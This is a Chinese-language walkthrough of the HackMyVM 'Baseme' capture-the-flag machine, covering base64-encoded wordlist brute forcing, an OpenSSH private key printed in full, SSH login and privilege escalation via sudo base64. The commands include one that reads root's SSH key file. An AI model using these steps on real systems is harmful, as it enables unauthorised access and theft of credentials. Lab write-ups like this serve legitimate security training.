HMV-Baseme靶场复盘

Baseme
端口扫描

开放了22端口和80端口
web探测
web给了一行base64加密过的文本 得到一个用户名 lucas

提示这个靶机全部用的是base64

还给了一些密码字典 我们存储并且进行base64
1 2 3 4 5 6 7 8 9 10
| ┌──(root㉿kakeru)-[~/base] └─# for i in $(cat pass);do echo $i | base64 >> pass.txt;done ┌──(root㉿kakeru)-[~/base] └─# cat pass.txt aWxvdmV5b3UK eW91bG92ZXlvdQo= c2hlbG92ZXN5b3UK aGVsb3Zlc3lvdQo= d2Vsb3ZleW91Cg== dGhleWhhdGVzbWUK
|
然后再进行目录爆破
用gobuster midium字典爆破之后还是没有发现有用的目录 换dirb/common.txt字典
还是没有找到任何有用的信息 这里的字典要再用base64进行编码然后爆破 找到了两个目录

curl访问得到一串base64编码 解密之后得到是rsa密钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL BtzfftAdPgp8YZAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCZCXvEPnO1 cbhxqctBEcBDZjqrFfolwVKmpBgY07M3CK7pO10UgBsLyYwAzJEw4e6YgPNSyCDWFaNTKG 07jgcgrggre8ePCMNFBCAGaYHmLrFIsKDCLI4NE54t58IUHeXCZz72xTobL/ptLk26RBnh 7bHG1JjGlxOkO6m+1oFNLtNuD2QPl8sbZtEzX4S9nNZ/dpyRpMfmB73rN3yyIylevVDEyv f7CZ7oRO46uDgFPy5VzkndCeJF2YtZBXf5gjc2fajMXvq+b8ol8RZZ6jHXAhiblBXwpAm4 vLYfxzI27BZFnoteBnbdzwSL5apBF5gYWJAHKj/J6MhDj1GKAFc1AAAD0N9UDTcUxwMt5X YFIZK8ieBL0NOuwocdgbUuktC21SdnSy6ocW3imM+3mzWjPdoBK/Ho339uPmBWI5sbMrpK xkZMnl+rcTbgz4swv8gNuKhUc7wTgtrNX+PNMdIALNpsxYLt/l56GK8R4J8fLIU5+MojRs +1NrYs8J4rnO1qWNoJRZoDlAaYqBV95cXoAEkwUHVustfgxUtrYKp+YPFIgx8okMjJgnbi NNW3TzxluNi5oUhalH2DJ2khKDGQUi9ROFcsEXeJXt3lgpZZt1hrQDA1o8jTXeS4+dW7nZ zjf3p0M77b/NvcZE+oXYQ1g5Xp1QSOSbj+tlmw54L7Eqb1UhZgnQ7ZsKCoaY9SuAcqm3E0 IJh+I+Zv1egSMS/DOHIxO3psQkciLjkpa+GtwQMl1ZAJHQaB6q70JJcBCfVsykdY52LKDI pxZYpLZmyDx8TTaA8JOmvGpfNZkMU4I0i5/ZT65SRFJ1NlBCNwcwtOl9k4PW5LVxNsGRCJ MJr8k5Ac0CX03fXESpmsUUVS+/Dj/hntHw89dO8HcqqIUEpeEbfTWLvax0CiSh3KjSceJp +8gUyDGvCkcyVneUQjmmrRswRhTNxxKRBZsekGwHpo8hDYbUEFZqzzLAQbBIAdrl1tt7mV tVBrmpM6CwJdzYEl21FaK8jvdyCwPr5HUgtuxrSpLvndcnwPaxJWGi4P471DDZeRYDGcWh i6bICrLQgeJlHaEUmrQC5Rdv03zwI9U8DXUZ/OHb40PL8MXqBtU/b6CEU9JuzJpBrKZ+k+ tSn7hr8hppT2tUSxDvC+USMmw/WDfakjfHpoNwh7Pt5i0cwwpkXFQxJPvR0bLxvXZn+3xw N7bw45FhBZCsHCAbV2+hVsP0lyxCQOj7yGkBja87S1e0q6WZjjB4SprenHkO7tg5Q0HsuM Aif/02HHzWG+CR/IGlFsNtq1vylt2x+Y/091vCkROBDawjHz/8ogy2Fzg8JYTeoLkHwDGQ O+TowA10RATek6ZEIxh6SmtDG/V5zeWCuEmK4sRT3q1FSvpB1/H+FxsGCoPIg8FzciGCh2 TLuskcXiagns9N1RLOnlHhiZd8RZA0Zg7oZIaBvaZnhZYGycpAJpWKebjrtokLYuMfXRLl 3/SAeUl72EA3m1DInxsPguFuk00roMc77N6erY7tjOZLVYPoSiygDR1A7f3zYz+0iFI4rL ND8ikgmQvF6hrwwJBrp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6+Ex8RvcWI6bTJAWJ LdmmRXUS/DtO+69/aidvxGAYob+1M= -----END OPENSSH PRIVATE KEY-----
|
尝试使用ssh登录

发现不能直接登录 根据提示执行 ssh-keygen -f '/root/.ssh/known_hosts' -R '192.168.240.45'
然后需要密码 用一开始得到的几个密码的base64编码进行尝试 发现用第一个就能登录

提权
find / -user root -perm -4000 -print 2>/dev/null
查找有没有suid提权
1 2 3 4 5 6 7 8 9 10 11 12 13
| lucas@baseme:~$ find / -user root -perm -4000 -print 2>/dev/null /usr/bin/sudo /usr/bin/chfn /usr/bin/mount /usr/bin/passwd /usr/bin/newgrp /usr/bin/su /usr/bin/chsh /usr/bin/umount /usr/bin/gpasswd /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device
|
没有可以利用的 在查看用户有没有sudo权限

发现可以执行base64
提权方式:
1 2
| LFILE=file_to_read sudo base64 "$LFILE" | base64 --decode
|
通过这种方式可以直接用root权限查想要的文件 也可以直接查root的ssh的rsa密钥 /root/.ssh/id_rsa